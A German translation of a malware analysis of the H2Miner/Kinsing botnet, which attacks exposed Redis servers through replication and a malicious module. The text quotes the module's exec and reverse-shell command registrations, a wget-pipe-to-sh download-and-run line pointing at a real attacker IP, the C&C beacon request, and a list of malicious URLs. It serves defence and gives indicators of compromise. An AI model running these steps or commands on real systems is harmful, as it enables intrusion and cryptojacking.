Vor einem Tag wurde einer der Server meines Projekts von einem ähnlichen Wurm angegriffen. Auf der Suche nach der Antwort auf die Frage „Was war das eigentlich?“ stieß ich auf einen hervorragenden Artikel des Alibaba Cloud Security-Teams. Da ich diesen Artikel nicht auf Habr gefunden habe, habe ich beschlossen, ihn speziell für euch zu übersetzen <3
Einleitung
Kürzlich entdeckte das Sicherheitsteam von Alibaba Cloud einen plötzlichen Ausbruch von H2Miner. Diese Art von Schadsoftware nutzt fehlende Authentifizierung oder schwache Passwörter für Redis als Eingang zu euren Systemen, synchronisiert dann ihr eigenes bösartiges Modul über die Master-Slave-Synchronisation und lädt schließlich dieses bösartige Modul auf die angegriffene Maschine hoch und führt die schädlichen Anweisungen aus.
Früher erfolgten Angriffe auf Ihre Systeme hauptsächlich durch Methoden, die geplante Aufgaben oder SSH-Schlüssel beinhalteten, die nach dem Eindringen eines Angreifers in Redis auf Ihrer Maschine hinterlegt wurden. Glücklicherweise kann diese Methode aufgrund von Berechtigungsproblemen oder unterschiedlichen Systemversionen nicht häufig verwendet werden. Dennoch kann diese Methode des Zugriffs auf bösartige Module direkt die Befehle des Angreifers ausführen oder Zugang zur Shell gewähren, was für Ihr System gefährlich ist.
Aufgrund der großen Anzahl Server von Redis-Instanzen, die im Internet verfügbar sind (fast 1 Million), empfiehlt das Sicherheitsteam von Alibaba Cloud als freundliche Erinnerung den Nutzern, keinen Zugriff auf Redis über das Netzwerk zu gewähren und regelmäßig die Sicherheit ihrer Passwörter zu überprüfen, um sicherzustellen, dass sie nicht anfällig für Brute-Force-Angriffe sind.
H2Miner
H2Miner — ein Mining-Botnet für Linux-basierte Systeme, das auf verschiedene Weisen in Ihr System eindringen kann. Dazu gehören unautorisierte Zugriffe auf Hadoop Yarn, Docker und eine Schwachstelle zur remote Code-Ausführung in Redis (RCE). Das Botnet funktioniert, indem es bösartige Skripte und Malware herunterlädt, um Ihre Daten zu minen, die Angriffsfläche zu erweitern und eine Command-and-Control (C&C) Verbindung aufrechtzuerhalten.
Redis RCE
Die Erkenntnisse zu diesem Thema wurden von Pavel Toporkov auf den ZeroNights 2018 geteilt. Nach der Version 4.0 unterstützt Redis die Funktion zum Hochladen externer Module, die es Benutzern ermöglicht, so-Dateien, die mit C kompiliert wurden, in Redis zu laden, um bestimmte Redis-Befehle auszuführen. Diese Funktion ist zwar nützlich, birgt jedoch eine Schwachstelle, bei der Dateien im Master-Slave-Modus über den Fullresync-Modus mit dem Slave synchronisiert werden können. Ein Angreifer könnte dies nutzen, um bösartige so-Dateien zu übertragen. Nach Abschluss der Übertragung laden die Angreifer das Modul auf die angegriffene Redis-Instanz und führen beliebige Befehle aus.
Analyse des bösartigen Wurms
Kürzlich hat das Sicherheitsteam von Alibaba Cloud festgestellt, dass die Gruppe der bösartigen Miner H2Miner plötzlich stark gewachsen ist. Laut der Analyse verläuft der gesamte Prozess der Angriffsentstehung folgendermaßen:
H2Miner nutzt RCE Redis für einen umfassenden Angriff. Zunächst greifen die Angreifer ungesicherte Redis-Server oder Server mit schwachen Passwörtern an.
Anschließend verwenden sie den Befehl config set dbfilename red2.so um den Dateinamen zu ändern. Danach führen die Angreifer den Befehl slaveof aus, um die Adresse des Master-Slave-Replikationshosts festzulegen.
Wenn die angegriffene Redis-Instanz eine Master-Slave-Verbindung mit dem bösartigen Redis, das dem Angreifer gehört, herstellt, sendet der Angreifer ein infiziertes Modul über den Befehl fullresync zur Synchronisation der Dateien. Daraufhin wird die Datei red2.so auf die angegriffene Maschine geladen. Anschließend verwenden die Angreifer das Lade-Modul ./red2.so, um diese .so-Datei zu laden. Das Modul kann die Befehle des Angreifers ausführen oder eine Rückverbindung (Backdoor) initiieren, um Zugriff auf die angegriffene Maschine zu erhalten.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Nach dem Ausführen eines schädlichen Befehls wie / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, wird der Angreifer den Sicherungsdateinamen zurücksetzen und das Systemmodul entladen, um die Spuren zu verwischen. Dennoch bleibt die Datei red2.so auf dem angegriffenen System. Den Nutzern wird empfohlen, auf das Vorhandensein einer solchen verdächtigen Datei im Verzeichnis ihrer Redis-Instanz zu achten.
Neben der Zerstörung einiger schädlicher Prozesse zur Ressourcenausbeutung folgte der Angreifer einem schädlichen Skript und lud bösartige Dateien im Binärformat herunter und führte sie aus, um . Dies bedeutet, dass der Prozessname oder der Ordnername, der kinsing auf dem Host enthält, darauf hinweisen kann, dass diese Maschine mit diesem Virus infiziert wurde.
Laut den Ergebnissen der Rückentwicklung führt die Malware hauptsächlich die folgenden Funktionen aus:
- Dateien herunterladen und ausführen
- Mining
- Aufrechterhaltung der Verbindung zum C&C und Ausführung von Angreiferbefehlen
Nutzen Sie masscan für das externe Scannen, um die Reichweite zu erhöhen. Darüber hinaus ist die IP-Adresse des C&C-Servers fest in das Programm integriert, und das angegriffene Host-System kommuniziert über HTTP-Anfragen mit dem C&C-Kontrollserver, wobei die Informationen des Zombie-Servers (gehackter Server) im HTTP-Header identifiziert werden.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Weitere Angriffsarten
Adressen und Links, die von dem Wurm verwendet werden
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
s&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Tipp
Zunächst sollte Redis nicht für den Zugriff aus dem Internet geöffnet sein und mit einem starken Passwort geschützt werden. Außerdem ist es wichtig, dass die Kunden die Abwesenheit der Datei red2.so im Redis-Verzeichnis und das Fehlen von „kinsing“ im Dateinamen/Prozess auf dem Host überprüfen.
Quelle: habr.com
